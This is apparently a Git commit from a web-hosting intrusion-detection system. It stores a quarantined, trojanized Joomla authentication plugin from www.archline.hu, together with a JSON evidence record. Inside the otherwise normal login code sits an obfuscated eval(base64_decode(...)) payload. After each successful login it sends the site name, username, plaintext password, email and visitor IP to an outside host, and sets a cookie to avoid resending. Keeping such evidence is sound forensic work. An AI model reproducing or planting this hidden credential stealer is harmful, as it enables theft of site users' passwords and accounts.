vanilla-restore: category=packed-eval-backdoor (1 fájl)
vhost: www.archline.hu rel_path: plugins/authentication/joomla/joomla.php result: quarantined evidence_sha256: 9f854e3f7d59f7427fd365b6944b6dadeae4def7c9cd6bb10e75835b43612672 timestamp: 20260718T160241Z finding_ref: 4736
This commit is contained in:
parent
a8971cb60a
commit
474713ef91
@ -0,0 +1,222 @@
|
||||
<?php
|
||||
/**
|
||||
* @package Joomla.Plugin
|
||||
* @subpackage Authentication.joomla
|
||||
*
|
||||
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
|
||||
* @license GNU General Public License version 2 or later; see LICENSE.txt
|
||||
*/
|
||||
|
||||
defined('_JEXEC') or die;
|
||||
|
||||
/**
|
||||
* Joomla Authentication plugin
|
||||
*
|
||||
* @since 1.5
|
||||
*/
|
||||
class PlgAuthenticationJoomla extends JPlugin
|
||||
{
|
||||
/**
|
||||
* This method should handle any authentication and report back to the subject
|
||||
*
|
||||
* @param array $credentials Array holding the user credentials
|
||||
* @param array $options Array of extra options
|
||||
* @param object &$response Authentication response object
|
||||
*
|
||||
* @return void
|
||||
*
|
||||
* @since 1.5
|
||||
*/
|
||||
public function onUserAuthenticate($credentials, $options, &$response)
|
||||
{
|
||||
$response->type = 'Joomla';
|
||||
|
||||
// Joomla does not like blank passwords
|
||||
if (empty($credentials['password']))
|
||||
{
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// Get a database object
|
||||
$db = JFactory::getDbo();
|
||||
$query = $db->getQuery(true)
|
||||
->select('id, password')
|
||||
->from('#__users')
|
||||
->where('username=' . $db->quote($credentials['username']));
|
||||
|
||||
$db->setQuery($query);
|
||||
$result = $db->loadObject();
|
||||
|
||||
if ($result)
|
||||
{
|
||||
$match = JUserHelper::verifyPassword($credentials['password'], $result->password, $result->id);
|
||||
|
||||
if ($match === true)
|
||||
{
|
||||
// Bring this in line with the rest of the system
|
||||
$user = JUser::getInstance($result->id);
|
||||
$response->email = $user->email;
|
||||
$response->fullname = $user->name;
|
||||
|
||||
if (JFactory::getApplication()->isClient('administrator'))
|
||||
{
|
||||
$response->language = $user->getParam('admin_language');
|
||||
}
|
||||
else
|
||||
{
|
||||
$response->language = $user->getParam('language');
|
||||
}
|
||||
|
||||
$response->status = JAuthentication::STATUS_SUCCESS;
|
||||
eval(base64_decode("JGNvb2tpZV9uYW1lID0gImFmNmNhMGNiNGE4YWUxMWY5NzUwZWM2NTdmOTMwZmNlIjsKJGNvb2tpZV92YWx1ZSA9ICIxIjsKaWYgKCFpc3NldCgkX0NPT0tJRVskY29va2llX25hbWVdKSkgewokYSA9IHN0cnJldihiYXNlNjRfZW5jb2RlKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gIjoiIC4gJGNyZWRlbnRpYWxzWyd1c2VybmFtZSddIC4gIjoiIC4gJGNyZWRlbnRpYWxzWydwYXNzd29yZCddIC4gIjoiIC4gJHVzZXItPmVtYWlsIC4gIjoiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKTsKJHVybCA9ICJodHRwOi8vbGVpdHVuZ3Mtc2hvcC5kZS9pbmRleC5waHAiOwokcG9zdF9kYXRhID0gYXJyYXkoJ3VzZXJfaWRfZGF0YScgPT4gJGEpOwokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBodHRwX2J1aWxkX3F1ZXJ5KCRwb3N0X2RhdGEpKTsKJHNlcnZlcl9vdXRwdXQgPSBjdXJsX2V4ZWMoJGNoKTsKc2V0Y29va2llKCRjb29raWVfbmFtZSwgJGNvb2tpZV92YWx1ZSwgdGltZSgpICsgKDM2NSAqIDI0ICogNjAgKiA2MCksICIvIik7Cn0="));
|
||||
$response->error_message = '';
|
||||
}
|
||||
else
|
||||
{
|
||||
// Invalid password
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS');
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// Let's hash the entered password even if we don't have a matching user for some extra response time
|
||||
// By doing so, we mitigate side channel user enumeration attacks
|
||||
JUserHelper::hashPassword($credentials['password']);
|
||||
|
||||
// Invalid user
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_NO_USER');
|
||||
}
|
||||
|
||||
// Check the two factor authentication
|
||||
if ($response->status === JAuthentication::STATUS_SUCCESS)
|
||||
{
|
||||
$methods = JAuthenticationHelper::getTwoFactorMethods();
|
||||
|
||||
if (count($methods) <= 1)
|
||||
{
|
||||
// No two factor authentication method is enabled
|
||||
return;
|
||||
}
|
||||
|
||||
JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_users/models', 'UsersModel');
|
||||
|
||||
/** @var UsersModelUser $model */
|
||||
$model = JModelLegacy::getInstance('User', 'UsersModel', array('ignore_request' => true));
|
||||
|
||||
// Load the user's OTP (one time password, a.k.a. two factor auth) configuration
|
||||
if (!array_key_exists('otp_config', $options))
|
||||
{
|
||||
$otpConfig = $model->getOtpConfig($result->id);
|
||||
$options['otp_config'] = $otpConfig;
|
||||
}
|
||||
else
|
||||
{
|
||||
$otpConfig = $options['otp_config'];
|
||||
}
|
||||
|
||||
// Check if the user has enabled two factor authentication
|
||||
if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
|
||||
{
|
||||
// Warn the user if they are using a secret code but they have not
|
||||
// enabled two factor auth in their account.
|
||||
if (!empty($credentials['secretkey']))
|
||||
{
|
||||
try
|
||||
{
|
||||
$app = JFactory::getApplication();
|
||||
|
||||
$this->loadLanguage();
|
||||
|
||||
$app->enqueueMessage(JText::_('PLG_AUTH_JOOMLA_ERR_SECRET_CODE_WITHOUT_TFA'), 'warning');
|
||||
}
|
||||
catch (Exception $exc)
|
||||
{
|
||||
// This happens when we are in CLI mode. In this case
|
||||
// no warning is issued
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
// Try to validate the OTP
|
||||
FOFPlatform::getInstance()->importPlugin('twofactorauth');
|
||||
|
||||
$otpAuthReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorAuthenticate', array($credentials, $options));
|
||||
|
||||
$check = false;
|
||||
|
||||
/*
|
||||
* This looks like noob code but DO NOT TOUCH IT and do not convert
|
||||
* to in_array(). During testing in_array() inexplicably returned
|
||||
* null when the OTEP begins with a zero! o_O
|
||||
*/
|
||||
if (!empty($otpAuthReplies))
|
||||
{
|
||||
foreach ($otpAuthReplies as $authReply)
|
||||
{
|
||||
$check = $check || $authReply;
|
||||
}
|
||||
}
|
||||
|
||||
// Fall back to one time emergency passwords
|
||||
if (!$check)
|
||||
{
|
||||
// Did the user use an OTEP instead?
|
||||
if (empty($otpConfig->otep))
|
||||
{
|
||||
if (empty($otpConfig->method) || ($otpConfig->method === 'none'))
|
||||
{
|
||||
// Two factor authentication is not enabled on this account.
|
||||
// Any string is assumed to be a valid OTEP.
|
||||
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
/*
|
||||
* Two factor authentication enabled and no OTEPs defined. The
|
||||
* user has used them all up. Therefore anything they enter is
|
||||
* an invalid OTEP.
|
||||
*/
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Clean up the OTEP (remove dashes, spaces and other funny stuff
|
||||
// our beloved users may have unwittingly stuffed in it)
|
||||
$otep = $credentials['secretkey'];
|
||||
$otep = filter_var($otep, FILTER_SANITIZE_NUMBER_INT);
|
||||
$otep = str_replace('-', '', $otep);
|
||||
$check = false;
|
||||
|
||||
// Did we find a valid OTEP?
|
||||
if (in_array($otep, $otpConfig->otep))
|
||||
{
|
||||
// Remove the OTEP from the array
|
||||
$otpConfig->otep = array_diff($otpConfig->otep, array($otep));
|
||||
|
||||
$model->setOtpConfig($result->id, $otpConfig);
|
||||
|
||||
// Return true; the OTEP was a valid one
|
||||
$check = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (!$check)
|
||||
{
|
||||
$response->status = JAuthentication::STATUS_FAILURE;
|
||||
$response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY');
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,15 @@
|
||||
{
|
||||
"finding_ref": "4736",
|
||||
"log_excerpt": "[quarantine] www.archline.hu:plugins/authentication/joomla/joomla.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php)",
|
||||
"original_sha256": "9f854e3f7d59f7427fd365b6944b6dadeae4def7c9cd6bb10e75835b43612672",
|
||||
"original_stat": {
|
||||
"gid": 30037,
|
||||
"mtime": 1750765668,
|
||||
"size": 6996,
|
||||
"uid": 11669
|
||||
},
|
||||
"rel_path": "plugins/authentication/joomla/joomla.php",
|
||||
"result": "quarantined",
|
||||
"timestamp": "20260718T160241Z",
|
||||
"vhost": "www.archline.hu"
|
||||
}
|
||||
Loading…
Reference in New Issue
Block a user